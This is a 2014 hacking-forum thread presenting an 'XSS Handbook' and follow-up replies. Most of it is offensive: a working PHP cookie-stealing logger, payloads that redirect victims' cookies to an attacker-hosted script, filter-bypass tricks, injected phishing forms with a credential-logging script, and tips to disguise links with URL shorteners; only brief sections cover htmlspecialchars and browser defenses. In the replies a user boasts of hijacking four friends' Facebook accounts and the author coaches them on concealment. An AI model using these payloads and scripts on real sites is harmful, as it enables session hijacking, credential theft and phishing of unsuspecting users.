RaccoonCity's XSS Handbook - Printable Version

RaccoonCity's XSS Handbook - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: RaccoonCity's XSS Handbook (/Thread-RaccoonCity-s-XSS-Handbook)

Pages: 1 2 3

RaccoonCity's XSS Handbook - RaccoonCity_mybb_import13707 - 06-07-2014

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( I ]> Introduction
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

Hello. @Maxx had this great idea of me making a XSS handbook. So, I was bored and started to write this. I will cover all the basics about XSS, and advanced XSS too.
XSS is my favorite exploit, and also the one I’m most qualified in too.

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( II ]> What exactly is XSS ?
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

XSS or Cross-site scripting is the number 1 exploit, right now. Cross-site scripting is responsible over 84% of all security vulnerabilities documented by Symantec as of 2007. There is XSS everywhere, and the thing is, you just have to mess up in your code ONCE to fail. A famous case of XSS is the so called Samy worm that was created by Samy Kamkar.

He was able to execute JavaScript code on his MySpace profile, so as fast as someone would look at his profile the code would execute. The worm carried a payload that would display the string “"but most of all, Samy is my hero” on a victim’s MySpace profile page.
When a user viewed that profile page, the payload would be planted on their own profile page. Within just 20 hours after release, over one million users had run the payload, making the worm the fastest spreading virus of all time.
When the payload was executed it resulted in a automatic friend request automatically being made to the author of the virus (Genious) and in messages containing the payload being left on the profiles of the friends of the victim.
Still, to this day over 1000 MySpace profiles still has the text “But most of all, Samy is my hero” written on their profile.

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( III ]> Different attack methods
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

Let’s say you have a search bar on your awesome website. So if someone searches for “cats” and clicks enter, they’ll come to an another page where it’ll probably say something like “592 hits on ‘cats’ in 0.9 seconds”, or something like that. Now, we can see that the word “cats” are embedded somewhere in the HTML code. For example, the stuff we enter might look like this:

Input: cats
HTML: <i>592 hits on cats in 1,35 seconds.</i>
Output: 592 hits on "cats" in 1,35 seconds

Okay, now this is how it’s supposed to work. If we try to adapt the text to html code, we can modify the output. Let’s try this payload:

Input: <script>alert('XSS')</script>
HTML: <i>592 hits on <script>alert('XSS')</script></i>
Output:
592 hits on
*pop up*
########################
########################
########################
##########XSS##########
########################
########################
########################

Now, as we can see the code we entered got executed. Now, anyone with the URL of this search will get the code executed. Now, this is a non-persistant XSS. There are 3 types of XSS.

Persistant XSS
Persistant XSS or Stored XSS is when the payload is stored on the website somewhere. For example in a guestbook or bullentin board.
The payload is executed to every user that hits the page where the malicious code is embeded, like the Samy case.
Non-persistant XSS
Non-persistant XSS or reflected XSS is when it's not permanent and stored on the website, for example a search query or at the end of a URL.
It's like throwing a ball at a wall and it rolls back to you.
DOM Based XSS
DOM Based XSS is nearly ever used and is a really rare used attack method.
DOM Based XSS is an XSS attack wherein the script is executed as a result of modifying the DOM "environment" in the victims browser.

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( IV ]> Cookie Catching
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

NOTE: If you don't understand what I'm about to write, read this section through first and read this again. When redirecting to the URL of your malicious cookie stealing script, try to use URL shorteners like tinyurl.com and goo.gl so the victim wouldn't know what's behind the URL.

Okay, so what is a cookie? Well, have you ever seen that “Remember me” checkbox on Facebook? Is it checked? If it is you have a unique cookie on your computer.
As fast as you go to Facebook, Facebook checks after this special cookie. If you have the cookie you get automatically logged in. So, we can steal cookies, use other peoples cookies and get logged into their accounts.
That’s pretty cool, but how do we do it? I’ll tell you.
First of all you have to a have website somewhere where you can host your malicious cookie catching script. I usually use www.3owl.com, because It’s easy and fast.
But you can use the one you like the most.
When you are at your file manager, you’re going to create a file. Let’s call it “cookie.php”. So, this is a PHP script.
There are a lot of different codes that can be used in a cookie catching script, I like to have this one where it catches not only cookies, but the IP address of the victim, the User-agent a bit more information and of course the cookies.

Here’s the code for this script:

Code:
<?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}
function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
    else
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
    fclose($log);
}
logData();
?>

Now, let's start the XSS attack. Go to the vulnerable website which in this case is the "awesome forum". Now, I put this payload in:

Code:
<script>window.location = "http://www.mywebsite.com/cookie.php"</script>"

This code makes it so as fast the payload is executed, you get redirected to the website which in this case is your cookie catching script.
If you want to be more of a ninja that just keeps on stealing and stealing where you can make it a bit more discreet by making a iframe which is 1 pixel in height and 1 pixel in width.

Code:
<iframe src="javascript:parent.document.location='http://mywebsite.com/cookie.php"></iframe>

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( V ]> Bypass techniques
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

There are alot of ways to bypass XSS filters.
Here's a couple of ones:

magic_quotes_gpc=ON bypass
HEX encoding
Obfuscation
Trying around

1. magic_quotes_gpc=ON is a php setting (php.ini).
It causes that every ' (single-quote), " (double quote) and \ (backslash )are escaped with a backslash automatically. It's also a well known method to avoid XSS flaws, although it's exploitable.
How to bypass it when it's ON? - use the javascript function called String.fromCharCode(), just convert your text in decimal characters (e.g. here: http://www.asciizeichen.de/tabelle.html) and put them in the handling.
Using "turtles" (without quote sign) will look like this:String.fromCharCode(116, 117, 114, 116, 108, 101, 115).
Now insert this in your alert script:

Code:
www.mywebsite.wow/search.php?search=<script>alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));</script>

2. HEX encoding is a useful bypass method, too. Using this step will encodeyour script, so you can't see clearly on the first look what the code will cause. This is how
<script>alert(/turtles/);</script>

looks like encrypted in HEX:

Code:
www.mywebsite.wow/search.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E

3. This is probably the worst protection against XSS as there are such an easy fix too it.
This is mostly used on old websites when the admin put words like "script" and "alert" on the badword list.
There's an extremly easy bypass to this by writing a payload that looks like this:

Code:
<sCrIpT>alert('turtles');</ScRiPt>

4. This is the most useful one, admins usually don't use the known protection for XSS. Sometimes you just have to take a little look on the source code.
Sometimes you have to add a bit of stuff to your payload, it might end up something like this:

Code:
"><script>alert(/RaccoonCity/);</script>

Code:
</title><script>alert(/RaccoonCity/);</script>

There are endless possibilities with this, not just with bypasses and protection, but also too attack.
Here are a couple of attacks that are also used, as the most dangerous one is cookie stealing, as no user interaction is needed.
Just a simple click on a link and I got your cookies.

Inject a Phising script
iFrame Phising
Redirect Phising

1). Inject a Phising script:
By injecting a phising script I mean that you can add a form to the HTML code where people think they need to log in with e.g their bank-account to continue.
Let's say you're on Toms awesome forum and then you're about to post a super cool thread about puppies, but when you click on "Post Thread" it says that you have to authorize your Google+ account to continue.
And you think for yourself, "Well, I trust this website, there's no way admin would steal my information", *logs in*.
Well, your now officially fucked, as the attacker now have your information.

Example of URL:

Code:
www.tomsforum.wow/newthread.php?fid=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
<div style="text-align: center;"><form Method="POST" Action="http://www.attackersite.com/phishingscript.php">
Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br /> 
<input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
<br /></form></div></body></html>

Content of phisingscript.php:

Code:
<?php
$login = $_POST['user'];
$password = $_POST['Password'];
$open = fopen('log.txt', 'a+');
fputs($open, 'Username : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>

2). iFrame Phising:
Here's the scary part about this attack. No one ever knew anything happened.
This is how the URL will look:

Code:
www.awesomesite.wow/search.php?search=<iframe src="http://www.yourphishingsite.wow" height="100%" width="100%"></iframe>

NOTE: The heigt and width which is equal to 100% means that the whole window is filled with the iframe.
So, if you could make the iframe identical to the original page, but with a bit of changes in the e.g login form without anyone knowing.~
Imagine how many logins you would recieve if you could find this on a big website.

3). Redirection Phising:
This is the worst one to use of all the phising attacks possible with XSS.
This is where the payload makes the website redirect to your malicious one which looks identical.
The catch is the URL. If you're on Google and suddently gets redirected to e.g www.totallynotamaliciouswebsite.com/google.html
it doesn't look to legit, as the iFrame Phising is better as you wont suspect anything because the URL doesn't change and there's no changes to the website, except for the little changes in the source code that you will not suspect, especially not on Google. Who doesn't trust Google?

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( VI ]> How to fix XSS leakages
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

XSS Flaws can be really dangerous for your website. But there are a couple of ways to fix them and make your website secure.
I'll show you a function that you can use for your website.

Code:
htmlspecialchars()                                     
http://php.net/manual/de/function.htmlspecialchars.php

Usage:

Code:
<?php echo htmlspecialchars($_GET['search']); ?>

If I'd write this for example:

Code:
<script>alert("RaccoonCity");</script>

it appears

Code:
<script>alert("RaccoonCity");</script>

What is the difference? - Well, the function simply replaced every specialchar to a harmless html char.
Without any popup because the ,<>,'," turned into ,<>,'," the attackers input has become harmless, unexecutable HTML code.

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( VII ]> Some easy fixes
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

If you're into XSS you've probably found yourself wondering how to fix this little problem which can be really frustrating sometimes.
You're about to write your awesome payload of doom into a search bar and you suddently can't write anymore. Well, this is the "maxlength" part of a form.
This can be found on many places to restrict users from writing to long stuff.
If you're using Google Chrome or Firefox you can simply right click on the search bar or the form where you're submitting your payload.
Now, usually the maxlenght is 35. It'll say maxlenght=35, it can be anything really.
Now change it too some big number like 10000.
You can now exit out of inspect element and write the rest of your HTML code.

There's an another solution to this, but this doesn't always work. Search for something short that's not more than the maximum ammount of characters.
E.g "Dog". Now, when you click enter you'll come to a new webpage with stuff about dogs.
If you look at the URL it'll hopefully look something like this:

Code:
http://www.website.com/search.php?=dog

You can now change dog to your payload and click enter. Hopefully the payload got executed and everything is fun and games! Smile

NOTE: Stuff like this you just have to bypass, you have to be a bit creative in XSS. There was once a website that logged peoples user-agents for some reason. I simply opened up Tamper Data and changed my user-agent to some Javascript, it got logged and executed. :3

Spoiler: ~

*Two links removed by @"Maxx" for security reasons*

[Image: pDafSWi.png]

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( VIII ]> Defense against attacks
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

i was just about to forget about this part! This is one of the most important parts of this whole handbook!
A great defense against XSS attacks, e.g cookie catching scripts are by using noscript. This addon for your browser is great.
Also, as of version 8 and above, Internet Explorer includes a XSS filter. The catch is, nobody uses IE.~ Biggrin

It's also important to maintain a good system hygiene. Make sure everything is up to date and that there's nothing that you have missed.
Other from that, there's not much you can do except to be logic and don't be stupid.

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|--( IX ]> End of Handbook
<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

Pfew, writing all this is harder then what you think (I know your feel @Maxx). I hope you learned something new of all this.
I honestly tried to put everything that I know about XSS together in one piece and this is the result.
Thank you so much for reading, and if you learned anything new please tell me. Smile

I know this is short for a whole handbook, but do you even realize how hard I was sitting here thinking about some little
thing I've maybe had missed or something I should add. xD

RE: RaccoonCity's XSS Handbook - alok9shm - 06-07-2014

Weew!! Got an exam tomorrow morning, but that couldn't stop me from reading the whole stuff. I'm not much interested in hacking but I would really want to know something.

Will using this [ <script>alert('NOKIA')</script> ] in an unSanitized search bar make it persistence? Or does it depend on whether the awesome website is vulnerable to persistence XSS or not?

RE: RaccoonCity's XSS Handbook - RaccoonCity_mybb_import13707 - 06-07-2014

(06-07-2014, 06:15 PM)alok9shm Wrote: Weew!! Got an exam tomorrow morning, but that couldn't stop me from reading the whole stuff. I'm not much interested in hacking but I would really want to know something.

Will using this [ <script>alert('NOKIA')</script> ] in an unSanitized search bar make it persistence? Or does it depend on whether the awesome website is vulnerable to persistence XSS or not?

First of all you have to make sure it's vulnerable.
In a search bar the thing you enter is not stored anywhere.
But, for exmaple on HC. If I would make a thread named a XSS payload of HTML and javascript and HC would be vulnerable, then the thread would stay there until @bluedog.tar.gz removes it.
That would be a persistant XSS.

Like a search that isn't saved somewhere will only be executed for you or anyone with that link. I hope you understand! Smile

Good luck with your exams by the way!

RE: RaccoonCity's XSS Handbook - dropzon3 - 06-07-2014

Related: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

RE: RaccoonCity's XSS Handbook - Inori - 06-07-2014

Mehehehe.. Got 4 FB accounts already! Some people are idiots Tongue

RE: RaccoonCity's XSS Handbook - RaccoonCity_mybb_import13707 - 06-07-2014

(06-07-2014, 11:45 PM)Jinxed Wrote: Mehehehe.. Got 4 FB accounts already! Some people are idiots

Sschh, don't let bluedog catch you talking like that... c:

RE: RaccoonCity's XSS Handbook - Inori - 06-07-2014

(06-07-2014, 11:47 PM)RaccoonCity Wrote:
(06-07-2014, 11:45 PM)Jinxed Wrote: Mehehehe.. Got 4 FB accounts already! Some people are idiots

Sschh, don't let bluedog catch you talking like that... c:

I'm not even going to use them though I deleted the log.
Just did it to prove my friends are tech illiterate :troll:
(also, how do I 'hide' the script? It'd be easy on reddit and such but on social networks?)

RE: RaccoonCity's XSS Handbook - RaccoonCity_mybb_import13707 - 06-07-2014

(06-07-2014, 11:57 PM)Jinxed Wrote:
(06-07-2014, 11:47 PM)RaccoonCity Wrote:
(06-07-2014, 11:45 PM)Jinxed Wrote: Mehehehe.. Got 4 FB accounts already! Some people are idiots

Sschh, don't let bluedog catch you talking like that... c:
I'm not even going to use them though I deleted the log.
Just did it to prove my friends are tech illiterate :troll:
(also, how do I 'hide' the script? It'd be easy on reddit and such but on social networks?)

What do you mean hide script? Are you using the script throught XSS?

RE: RaccoonCity's XSS Handbook - Inori - 06-08-2014

(06-07-2014, 11:59 PM)RaccoonCity Wrote:
(06-07-2014, 11:57 PM)Jinxed Wrote:
(06-07-2014, 11:47 PM)RaccoonCity Wrote:
(06-07-2014, 11:45 PM)Jinxed Wrote: Mehehehe.. Got 4 FB accounts already! Some people are idiots

Sschh, don't let bluedog catch you talking like that... c:
I'm not even going to use them though I deleted the log.
Just did it to prove my friends are tech illiterate :troll:
(also, how do I 'hide' the script? It'd be easy on reddit and such but on social networks?)
What do you mean hide script? Are you using the script throught XSS?

Well, not the script but the actual page the URL sends you to.

RE: RaccoonCity's XSS Handbook - RaccoonCity_mybb_import13707 - 06-08-2014

(06-08-2014, 12:00 AM)Jinxed Wrote:
(06-07-2014, 11:59 PM)RaccoonCity Wrote:
(06-07-2014, 11:57 PM)Jinxed Wrote:
(06-07-2014, 11:47 PM)RaccoonCity Wrote:
(06-07-2014, 11:45 PM)Jinxed Wrote: Mehehehe.. Got 4 FB accounts already! Some people are idiots

Sschh, don't let bluedog catch you talking like that... c:
I'm not even going to use them though I deleted the log.
Just did it to prove my friends are tech illiterate :troll:
(also, how do I 'hide' the script? It'd be easy on reddit and such but on social networks?)
What do you mean hide script? Are you using the script throught XSS?
Well, not the script but the actual page the URL sends you to.

Hmm, if you want to you can just use the iFrame attack if you're using it with XSS.
The URL will still be visable deep down in thr source code, but it'll be much more discreet.
You can of course use URL shorteners and proxy links to change the URL!